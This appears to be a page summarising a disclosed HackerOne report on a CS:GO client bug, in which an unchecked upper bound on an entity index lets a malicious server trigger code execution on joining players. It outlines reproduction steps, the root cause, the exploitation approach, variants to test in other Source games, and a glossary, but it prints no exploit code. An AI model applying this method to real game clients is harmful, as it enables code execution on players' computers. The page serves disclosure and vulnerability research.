When a client connects, the payload is placed with ShowMenu and then triggered with GlowPropTurnOff, and calc is popped. The video shows the bug being triggered on CS:GO when joining a server:

OPWTVDox3r.mp4 From the original on HackerOne

Reproduction steps

  1. Start CS:GO and note the base address of client_panorama.dll.
  2. Replace the value of BASE_ADDRESS in the Python script with this base address and run the script.
  3. Copy the generated payload into the payload string in the SourceMod script and compile the plugin.
  4. Add the compiled plugin to the server and connect to it with the client; as soon as the client is fully connected, calc is popped automatically.

Root cause

The handler validates only the lower bound of the entity index. The upper bound is never checked, so a large positive index is shifted left by 4 and wraps into a negative offset, reading a pointer from outside the entity list. That pointer is then used as a handle and a virtual function is called through it, giving the attacker control over the call target when the read lands in memory they control. The ShowMenu message provides a convenient writable global buffer at a fixed offset from the library base, which is what makes placing the fake object practical. ASLR is the main obstacle, and the author states the payload cannot be made fully reliable without the library base address.

Impact

An attacker who runs a server can execute arbitrary code on the computers of any clients that join it. The attack requires the victim to connect to the attacker's server, and full reliability depends on knowing the client's client_panorama.dll base address, which ASLR prevents. The report notes the same out-of-bounds read pattern in other messages, with a couple of other CS:GO user messages successfully tested, and suspects it exists in other Source games as well.

Fix

No fix is described in the report.

Variants to test

  • Other Source engine network messages that take an entity index and call a virtual function on the resolved entity: a positive result is a message whose handler checks only the lower bound and dereferences the result of the lookup.
  • Other CS:GO user messages: the author tested a couple of others successfully, so the same index-overflow technique should be attempted on each.
  • Network messages in other Source games: the author suspects the pattern exists there but did not test it.
  • Other server-controlled string buffers stored in globals at predictable offsets, in the style of the menu string, as a place to stage a fake object.

Hunting notes

This kind of bug hides in message handlers that parse attacker-supplied indices and then use them to index arrays of pointers, especially where the index is scaled by a shift before use. The signal during review is a bounds check that tests only one side, such as ent_idx >= 0, followed by a dereference and a virtual call. The researcher demonstrated impact by building a full chain from a server-controlled message to code execution on a connecting client, including a working payload generator and a server plugin that delivers it, which is the kind of end-to-end proof that shows the read is exploitable rather than a crash.

Glossary

  • Source engine: the shared software foundation that Valve games such as CS:GO are built on; it handles graphics, sound, networking and more.
  • Client: the program running on the player's computer, as opposed to the server.
  • Server: the program that hosts a multiplayer game and sends messages to connected clients.
  • Entity: any object in the game world, such as a player, weapon, door or light.
  • Entity index: the number identifying an entity's position in the client's entity list.
  • Entity list: the array in the client that holds pointers to all entities.
  • Out-of-bounds read: reading memory outside the intended boundaries of an array or buffer.
  • Pointer: a value that holds a memory address.
  • Null pointer: a pointer that points at nothing, written nullptr.
  • Virtual function: a function whose actual code is looked up at runtime from a table stored in the object.
  • Vtable: the table of function addresses inside an object that a virtual call uses.
  • Assembly: the low-level instructions the processor executes.
  • Register: a small, very fast storage slot inside the processor, such as eax, ecx, edi or esp.
  • Stack: the region of memory the processor uses to track function calls and local data; esp is the stack pointer register.
  • Stack pivot: moving the stack pointer to a chosen address so execution continues from attacker-controlled memory.
  • ROP chain: return-oriented programming, a technique that strings together small existing code snippets (gadgets) to make a program do something new.
  • Gadget: a short sequence of existing instructions, usually ending in a return, used as a building block in a ROP chain.
  • ShellExecute: a Windows function that can start another program.
  • calc: the Windows calculator program, commonly used as a harmless demonstration that code execution worked.
  • UTF16: a text encoding where each character takes two bytes.
  • Global buffer: a fixed block of memory that exists for the whole life of a program.
  • DLL: a library of code that a program loads and uses; client_panorama.dll is the CS:GO client library.
  • Base address: the memory address where a library starts inside a running process.
  • Process: a running program and the memory it uses.
  • ASLR: address space layout randomisation, a defence that loads libraries at a different address each run so attackers cannot predict addresses.
  • Python: a programming language often used for quick tooling.
  • pwntools: a Python library used for building exploit payloads.
  • SourceMod: a framework for writing add-ons and plugins for Source engine servers.
  • Plugin: a small program loaded into a server or other host program to add behaviour.
  • Protobuf: a format for structured messages, used here to build the network messages sent to the client.
  • Hexadecimal: a base-16 way of writing numbers, convenient for memory addresses, written with a 0x prefix.
  • Arbitrary code execution: the ability for an attacker to make a victim's computer run code of the attacker's choosing.

More by slidybat

View all

2 more disclosed reports, best first.

More from Valve

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.